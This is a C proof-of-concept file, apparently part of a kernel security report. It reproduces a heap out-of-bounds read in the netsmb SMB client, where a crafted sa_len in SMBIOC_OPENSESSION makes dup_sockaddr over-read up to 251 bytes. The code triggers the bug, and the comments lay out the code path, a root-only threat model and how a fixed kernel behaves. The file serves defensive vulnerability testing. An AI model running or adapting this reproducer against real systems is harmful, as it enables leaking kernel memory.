/*
 * DF-0600 — dup_sockaddr sa_len OOB read reproducer (root-only).
 *
 * The in-kernel SMB client (netsmb) builds a VC by:
 *   nsmb_dev_ioctl SMBIOC_OPENSESSION
 *     -> smb_usr_opensession  (smb_usr.c)
 *       -> smb_usr_vc2spec: spec->sap = smb_memdupin(ioc_server, ioc_svlen)
 *          (smb_subr.c: allocates EXACTLY ioc_svlen bytes, copies ioc_svlen
 *           user bytes in; NEVER cross-checked against sa->sa_len)
 *       -> smb_sm_lookup -> smb_sm_lookupint (empty list => ENOENT)
 *       -> smb_vc_create (smb_conn.c:462):
 *             vcp->vc_paddr = dup_sockaddr(vcspec->sap);
 *          (uipc_socket2.c:808: kmalloc(sa->sa_len); bcopy(sa, sa2, sa->sa_len)
 *           -- trusts sa->sa_len UNCONDITIONALLY)
 *
 * If ioc_svlen < sa->sa_len, dup_sockaddr's bcopy reads (sa_len - ioc_svlen)
 * bytes past the smb_memdupin allocation => heap OOB read.  The OOB bytes land
 * in vcp->vc_paddr and are reachable via the CONNADDREQ comparison oracle.
 *
 * sa_len is u_char (max 255) so the OOB is <= ~251 bytes, always within the
 * same slab page => silent leak (no panic) unless the source object happens to
 * sit within ~251 bytes of an unmapped page boundary.
 *
 * THREAT MODEL: /dev/nsmb* is created 0700 root:root (smb_dev.c:356) and the
 * netsmb module is not loaded by default (kldload is root-only).  There is no
 * setuid helper on the guest.  => UNREACHABLE by an unprivileged user; this is
 * a root->kernel defense-in-depth gap, not an unpriv->root escalation.
 *
 * This reproducer must run as root.  It demonstrates that sa_len is NOT
 * validated on the unpatched kernel (the ioctl proceeds past the sa_len check
 * into the OOB dup_sockaddr bcopy and only fails later at smb_vc_connect),
 * whereas the fixed kernel rejects the bad sa_len with EINVAL immediately.
 */

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include "smb_dev.h"

int
main(int argc, char **argv)
{
	setvbuf(stdout, NULL, _IONBF, 0);	/* unbuffered so output survives a crash */
	struct smbioc_ossn ssn;
	/*
	 * Crafted source sockaddr: only 4 bytes are really allocated/owned
	 * (ioc_svlen = 4), but the first byte (sa_len) claims 255.  dup_sockaddr
	 * will therefore bcopy 255 bytes out of the 4-byte allocation ->
	 * 251-byte heap OOB read.
	 */
	unsigned char fake_sa[4];
	int fd, rc;

	/* Optionally allow a smaller sa_len to show partial OOB too. */
	int req_sa_len = 255;
	if (argc > 1)
		req_sa_len = atoi(argv[1]);
	if (req_sa_len < 2 || req_sa_len > 255) {
		fprintf(stderr, "sa_len must be 2..255\n");
		return 2;
	}
	int svlen = 4;	/* the actual allocation size (ioc_svlen) */

	memset(fake_sa, 0, sizeof(fake_sa));
	fake_sa[0] = (unsigned char)req_sa_len;	/* sa_len  -- the lie */
	fake_sa[1] = AF_UNSPEC;			/* sa_family */

	/* /dev/nsmb is the autoclone master (smb_dev.c:356); opening it
	 * clones a fresh /dev/nsmbN minor via nsmbclone(). */
	fd = open("/dev/nsmb", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open /dev/nsmb: %s (need root + smbfs "
		    "module loaded)\n", strerror(errno));
		return 2;
	}

	memset(&ssn, 0, sizeof(ssn));
	ssn.ioc_opt = SMBVOPT_CREATE;		/* 0x0001: force smb_vc_create */
	ssn.ioc_server = (struct sockaddr *)(void *)fake_sa;
	ssn.ioc_svlen = svlen;			/* 4-byte allocation */
	ssn.ioc_timeout = 1;
	ssn.ioc_retrycount = 0;
	strlcpy(ssn.ioc_user, "oob", sizeof(ssn.ioc_user));
	strlcpy(ssn.ioc_localcs, "UTF-8", sizeof(ssn.ioc_localcs));
	strlcpy(ssn.ioc_servercs, "UTF-8", sizeof(ssn.ioc_servercs));

	printf("[*] ioc_svlen=%d, sa_len=%u (OOB read of %d bytes)\n",
	    ssn.ioc_svlen, fake_sa[0], fake_sa[0] - ssn.ioc_svlen);
	printf("[*] SMBIOC_OPENSESSION ...\n");

	rc = ioctl(fd, SMBIOC_OPENSESSION, &ssn);
	printf("[*] ioctl returned rc=%d errno=%d (%s)\n",
	    rc, errno, rc ? strerror(errno) : "success");

	/*
	 * Unpatched kernel: rc=-1, errno != EINVAL (the path proceeds past the
	 *	sa_len check, does the OOB bcopy in dup_sockaddr, then fails
	 *	later at smb_vc_connect / iconv).  Typical: ENETUNREACH / EHOSTUNREACH
	 *	/ EACCES / ENOMEM or similar.  The OOB read already happened.
	 * Fixed kernel: rc=-1, errno == EINVAL (sa_len validation rejects it).
	 */
	if (rc == -1 && errno == EINVAL) {
		printf("[+] EINVAL on bad sa_len -> sa_len IS validated (FIXED kernel)\n");
	} else if (rc == -1) {
		printf("[!] non-EINVAL error -> sa_len NOT validated (BUG: OOB "
		    "read of %d bytes occurred in dup_sockaddr)\n",
		    fake_sa[0] - ssn.ioc_svlen);
	} else {
		printf("[!] ioctl succeeded unexpectedly\n");
	}

	close(fd);
	return 0;
}
